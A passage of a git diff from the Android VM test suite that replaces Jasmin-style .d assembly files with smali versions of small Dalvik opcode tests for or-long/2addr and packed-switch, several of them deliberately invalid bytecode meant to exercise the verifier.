+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       or-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.d
deleted file mode 100644
index 65d1c7b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2addr_6.java
-.class public dot.junit.opcodes.or_long_2addr.d.T_or_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali
new file mode 100644
index 0000000..b9d3c22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d
deleted file mode 100644
index bd692e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_1.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-       packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.smali
new file mode 100644
index 0000000..41352ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_1.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_1;
+.super Ljava/lang/Object;
+.source "T_packed_switch_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d
deleted file mode 100644
index d1d2d03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_11.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.smali
new file mode 100644
index 0000000..b4c4337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_11.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_11;
+.super Ljava/lang/Object;
+.source "T_packed_switch_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d
deleted file mode 100644
index 58afb0b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_12.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       goto Label0
-
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-       packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-Label0:       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.smali
new file mode 100644
index 0000000..bacbf10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_12.smali
@@ -0,0 +1,64 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_12;
+.super Ljava/lang/Object;
+.source "T_packed_switch_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_b
+
+    packed-switch p1, :pswitch_data_c
+
+    :pswitch_4
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_6
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_8
+    const/16 v2, 0x14
+
+    return v2
+
+    :goto_b
+    nop
+
+    :pswitch_data_c
+    .packed-switch -0x1
+        :pswitch_6 # -1
+        :pswitch_4 #  0
+        :pswitch_4 #  1
+        :pswitch_8 #  2
+        :pswitch_8 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d
deleted file mode 100644
index 2e7471b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_13.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       goto Label0
-Label0:       
-       packed-switch v4, 0
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-       packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.smali
new file mode 100644
index 0000000..cf3dd87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_13.smali
@@ -0,0 +1,62 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_13;
+.super Ljava/lang/Object;
+.source "T_packed_switch_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_1
+
+    :goto_1
+    packed-switch p1, :pswitch_data_c
+
+    :pswitch_4
+    const/4 v2, -0x1
+
+    return v2
+
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_8
+    const/16 v2, 0x14
+
+    return v2
+
+    nop
+
+    :pswitch_data_c
+    .packed-switch 0x0
+        :pswitch_4 # 0
+        :pswitch_4 # 1
+        :pswitch_8 # 2
+        :pswitch_8 # 3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d
deleted file mode 100644
index a356eb3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_2.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.smali
new file mode 100644
index 0000000..b6769d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_2.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_2;
+.super Ljava/lang/Object;
+.source "T_packed_switch_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(F)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d
deleted file mode 100644
index 79e9e8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_3.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v5, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.smali
new file mode 100644
index 0000000..83b0f42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_3.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_3;
+.super Ljava/lang/Object;
+.source "T_packed_switch_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p2, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d
deleted file mode 100644
index 1c3d42b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_4.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 5
-       packed-switch v3, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.smali
new file mode 100644
index 0000000..513f920
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_4.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_4;
+.super Ljava/lang/Object;
+.source "T_packed_switch_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 p0, -0x1
+
+    return p0
+
+    :pswitch_5
+    const/4 p0, 0x2
+
+    return p0
+
+    :pswitch_7
+    const/16 p0, 0x14
+
+    return p0
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d
deleted file mode 100644
index c648fbb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_5.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 5
-       packed-switch v3, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.smali
new file mode 100644
index 0000000..7f5756c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_5;
+.super Ljava/lang/Object;
+.source "T_packed_switch_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 p0, -0x1
+
+    return p0
+
+    :pswitch_5
+    const/4 p0, 0x2
+
+    return p0
+
+    :pswitch_7
+    const/16 p0, 0x14
+
+    return p0
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d
deleted file mode 100644
index 9a18602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_6.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v3, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.smali
new file mode 100644
index 0000000..4b49cee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
